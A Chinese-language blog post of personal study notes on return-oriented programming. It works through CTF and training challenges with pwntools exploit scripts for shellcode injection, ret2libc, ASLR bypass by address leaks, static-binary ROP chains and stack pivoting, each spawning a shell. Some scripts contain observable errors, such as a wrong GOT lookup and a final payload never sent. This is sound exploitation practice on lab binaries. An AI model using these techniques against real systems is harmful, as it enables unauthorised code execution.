ROP Study

参考蒸米一步一步学ROP

linux下_x86篇

level1

第一题主要的点就是在找shellcode的地址,要开启core dump这个功能

ulimit -c unlimited

接着用gdb调试core这个文件

pwndbg> x/10s $esp-144
0xffffd480: "1\311\367\341Qh//shh/bin\211\343\260\v̀", 'a' <repeats 119 times>, "\220\324\377\377\n\325\377\377"
0xffffd515: ""
0xffffd516: ""
0xffffd517: ""
0xffffd518: ""
0xffffd519: ""
0xffffd51a: ""
0xffffd51b: ""
0xffffd51c: "!\337\337", <incomplete sequence \367>
0xffffd521: "\320\373", <incomplete sequence \367>

这里我遇到一个问题就是,每次出来的地址不同,有的可利用,有的不可以

exp如下

from pwn import *

io = process('./level1')

buf_addr = 0xffffd480
shellcode = (asm(shellcraft.sh()))

payload = shellcode + (140 - len(shellcode)) * b'a'+ p32(buf_addr)
io.sendline(payload)

io.interactive()

level2

level2我们打开DEP

这个就是典型的ret2lib,在gdb中先使程序在main下个断点,然后run起来,使程序加载libc.so,就可以使用print system以及search找到system函数在内存中的地址和/bin/sh的地址

exp

from pwn import *

io = process('./level2')

system_addr = 0xf7e222e0
bin_sh = 0xf7f630af

payload = b'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh)

io.sendline(payload)

io.interactive()

level3

这题我们再打开ASLR

sudo -s 

echo 2 > /proc/sys/kernel/randomize_va_space

用ldd命令查看发现libc.so的地址每次都会改变

为了bypass ASLR,我们的思路是:先泄漏出程序内某些函数的地址,然后通过其偏移来算出基地址,再算出我们要利用函数的地址

因为程序中并没有使用system函数,但是我们可以利用write@plt()函数将write函数的地址通过write@got泄漏出来,原因是write函数是在libc.so中实现的,当我们调用write@plt时,系统将write的地址linking到write@got中,通过linux中的LazyBinding,它会跳转到write@got上从而找到write函数的地址

计算函数偏移可以看这张图

exp如下

from pwn import *
#io = process('./level2')
io = remote('127.0.0.1',10003)
elf = ELF('./level2')
lib = ELF('libc.so')

write_plt = elf.symbols['write']
write_got = elf.symbols['write']
start = elf.symbols['_start']
vul_addr = elf.symbols['vulnerable_function']

padding = b'a' * 140

payload1 = padding + p32(write_plt)+p32(start)+ p32(1)+ p32(write_got) +p32(4)
io.send(payload1)
write_addr = u32(io.recv(4))
print(hex(write_addr))

lib_base = write_addr - lib.symbols['write']
system = lib_base + lib.symbols['system']
bin_sh = lib_base + next(lib.search(b'/bin/sh'))

payload2 = padding + p32(system) + p32(0xdeadbeef) + p32(bin_sh)
io.sendline(payload2)

io.interactive()

level4

无libc.so的ret2libc,利用DynELF泄漏出system地址

from pwn import *
io = process('./level2')

elf = ELF('./level2')

write_plt = elf.symbols['write']
start = elf.symbols['_start']
bss = elf.bss()
vul_addr = elf.symbols['vulnerable_function']
read_plt = elf.symbols['read']

def leak(address):
payload = b'a' * 140 + p32(write_plt) + p32(start) + p32(1) + p32(address) + p32(4)
io.sendline(payload)
data = io.recv(4)
return data

d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')

payload2 = b'a' * 140 + p32(read_plt) + p32(vul_addr) + p32(0) + p32(bss) + p32(8)
io.sendline(payload2)
io.send('/bin/sh\x00')

payload3 = b'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(bss)

io.interactive()

linux下_x64篇

  • 内存地址由32位变为64位
  • 参数传递,前六个参数从左到右依次存在RDI,RSI,RDX,RCX,R8,R9。多于六个的参数从右到左存在栈上,同x86传参

Level2_x64

这里因为我本地环境可能有点问题,编译出来的程序,exp打的时候总会报错。。。于是就用javirs oj上的题来练手了

这题和之前的x86差不多,就是要改传参的方式

exp

from pwn import *
io = remote('pwn2.jarvisoj.com', 9882)
elf = ELF('./level2_x64')

system = elf.symbols['system']
bin_sh = next(elf.search(b'/bin/sh'))
pop_rdi_ret = 0x00000000004006b3

payload = b'a' * 0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(0xdeadbeef)
io.recvuntil('Input:\n')
io.sendline(payload)

io.interactive()

Level3_x64

这题思路也是与x86的相同,只是传参调用的方式变了,要设置寄存器以及从左到右传参

exp如下

from pwn import *

io = remote('pwn2.jarvisoj.com',9883)
elf = ELF('./level3_x64')
lib = ELF('./libc-2.19.so')

write_plt = elf.symbols['write']
write_got = elf.got['write']
start = elf.symbols['_start']
pop_rdi_ret = 0x00000000004006b3
pop_rdi_r15_ret = 0x00000000004006b1
vul_addr = elf.symbols['vulnerable_function']

payload = b'a' * 0x88
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rdi_r15_ret) + p64(write_got) + p64(0xdeadbeef)
payload += p64(write_plt) + p64(start)
io.recvuntil("Input:\n")
io.sendline(payload)
write_addr = u64(io.recv(8))

lib_base = write_addr - lib.symbols['write']
system = lib_base + lib.symbols['system']
bin_sh = lib_base + next(lib.search(b'/bin/sh'))

payload2 = b'a' * 0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.recvuntil("Input:\n")
io.sendline(payload2)

io.interactive()

HITCON Trainging - lab5&&lab6

  • 在static linking情况下有很多gadget可以利用

  • bypass DEP/NX

源程序

#include <stdio.h>

int main(){
char buf[20];
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
read(0,buf,100);
}

查看保护

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Static Linking
File

simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped

exp

from pwn import *

io = process('./simplerop')
context.arch = 'i386'

padding = b'a' * 32
buf_data = 0x080ea060 # size use 68
pop_eax_ret = 0x080bae06
pop_edx_ecx_ebx_ret = 0x0806e850
mov_dedx_eax_ret = 0x0809a15d
pop_edx_ret = 0x0806e82a
pop_edx_ecx_ebx_ret = 0x0806e850
int_80 = 0x080493e1


rop = flat([pop_edx_ret,buf_data,pop_eax_ret,'/bin',mov_dedx_eax_ret])
rop += flat([pop_edx_ret,buf_data+4,pop_eax_ret,'/sh\x00',mov_dedx_eax_ret])
rop += flat([pop_edx_ecx_ebx_ret,0,0,buf_data,pop_eax_ret,0xb,int_80])

payload = padding + rop

io.recvuntil(":")
io.sendline(payload)
io.interactive()

Using ROP bypass ASLR

  • 假设dynamic编译的程序中存在BOF漏洞且没开PIE情况(先不考虑Stack Guard)
  • How to bypass
  1. Use .plt section to leak information
  2. 存在put write send…等 output function

Stack Migration

#include <stdio.h>

int count = 1337 ;

int main(){
if(count != 1337)
_exit(1);
count++;
char buf[40];
setvbuf(stdout,0,2,0);
puts("Try your best :");
read(0,buf,64);
return ;
}
gcc -m32 -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2 migration.c -o migration

exp

from pwn import *
import time
io = process('./migration')
elf = ELF('./migration')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
padding = b'a' * 40 #44 预留4个byte控制ebp

buf1 = 0x804ae00
buf2 = buf1 + 0x100
read_plt = elf.plt['read']
put_plt = elf.plt['puts']
leave_ret = 0x08048418
pop_ebx_ret = 0x0804836d
put_got = elf.got['puts']
put_off = libc.symbols['puts']

rop1 = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = padding + rop1
io.send(payload)
time.sleep(0.1)

rop2 = flat([buf2,put_plt,pop_ebx_ret,put_got,read_plt,leave_ret,0,buf2,100])
io.send(rop2)
time.sleep(0.1)
io.recvuntil("\n")
data = u32(io.recvuntil("\n")[:-1])
lib = data - put_off
print(hex(lib))

system = lib + libc.symbols['system']
bin_sh = buf2 + 16 #bin_sh在rop3的第四个,一个占4byte
rop3 = flat([buf1,system,0xdeadbeef,bin_sh,'/bin/sh\x00'])
io.send(rop3)
time.sleep(0.1)

io.interactive()

Stack Pivoting

概念转自CTF-WIKI

劫持栈指针指向攻击者所能控制的内存处

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

X-CTF Quals 2016 - b0verfl0w

先放exp

from pwn import *
io = process('./b0verfl0w')

jmp_esp = 0x08048504
shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
padding = (0x20 - len(shellcode)) * b'a'
#payload
#shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')

payload = flat([shellcode, padding, b'b' * 4, jmp_esp, sub_esp_jmp])
io.recvuntil("What's your name?\n")
io.sendline(payload)

io.interactive()

在IDA中可以发现我们可以利用的溢出长度很短,所以我们很难找到一些ROPchain,根据wiki上的思路就是

  • 在栈上布置shellcode
  • 操控eip指向shellcode处

再就是payload最后一段的设置esp

  • len(shellcode+padding) = 0x20
  • len(ebp) = 4
  • len(jmp_esp) = 4
所以就是
sub esp,0x28
jmp esp

找shellcode的网站

找尽量短的

http://shell-storm.org/shellcode/files/shellcode-575.php

TO DO…

作者

秋秋晚

发布于

2021-12-06

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...